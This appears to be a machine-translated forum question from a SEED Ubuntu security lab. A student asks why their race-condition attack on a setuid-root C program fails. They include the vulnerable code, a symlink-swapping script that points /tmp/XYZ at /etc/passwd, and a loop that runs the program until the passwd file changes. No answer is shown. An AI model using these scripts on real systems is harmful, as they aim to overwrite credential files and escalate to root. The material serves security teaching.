c - 利用锁定文件 UBUNTU SEED 上的并发漏洞
问题描述
对于作业,我必须了解如何使用并发来打开锁定的文件。
我有程序
/* vulp.c */
#include <stdio.h>
#include <unistd.h>
int main()
{
char * fn = "/tmp/XYZ";
char buffer[60];
FILE *fp;
/* get user input */
scanf("%50s", buffer );
if(!access(fn, W_OK)){
fp = fopen(fn, "a+");
fwrite("\n", sizeof(char), 1, fp);
fwrite(buffer, sizeof(char), strlen(buffer), fp);
fclose(fp);
}
else printf("No permission \n");
}
我用它锁定它
sudo chown root vulp
sudo chmod 4755 vulp
我知道我应该以某种方式删除 /tmp/XYZ 以获得?访问/覆盖?这样我就可以打开文件了。我有 2 个 shell,我为 passwd 和 shadow 运行以覆盖,但它似乎不起作用。
攻击.sh
#!/bin/sh
ln -sf /home/seed/vulp /tmp/XYZ
ln -sf /etc/passwd /tmp/XYZ
检查.sh
#!/bin/sh
old=`ls -l /etc/shadow`
new=`ls -l /etc/passwd`
while [ "$old" = "$new" ]
do
./vulp < passwd_input
new=`ls -l /etc/passwd`
counter=`expr $counter + 1`
done
echo "STOP... The shadow file has been changed"
echo "Total number of loops: $counter"
echo "STOP... The passwd file has been changed"
我使用命令在终端上并行运行它们
parallel -j 2 -- './check.sh' './attack,sh'
但我每次都得到“权限被拒绝”。
我不确定我做错了什么或缺少什么。任何帮助将不胜感激。
解决方案
推荐阅读
- hadoop - 如何将文件添加到 Hive
- android - 如何在viewpager中将值从片段传递到片段?
- kotlin - 无法编译应用程序 java.lang.IllegalStateException: processingEnv 不能为空
- java - SSLHandshakeException:PKIX 路径构建失败。即使在我导入证书之后
- spring-boot - 意外的 AST 节点:(
- python - Hough Circle 中的参数表示什么以及如何知道要使用哪些值?
- c# - Unity 2017.4.34f1 无法使用 IL2CPP 构建 APK
- sql - 我需要一个查询来比较一个星期六的总销售额与今年剩余时间的平均星期六总销售额
- powershell - 使用 PowerShell GUI 进行无人值守软件安装
- c++ - 将矩形土地划分为范围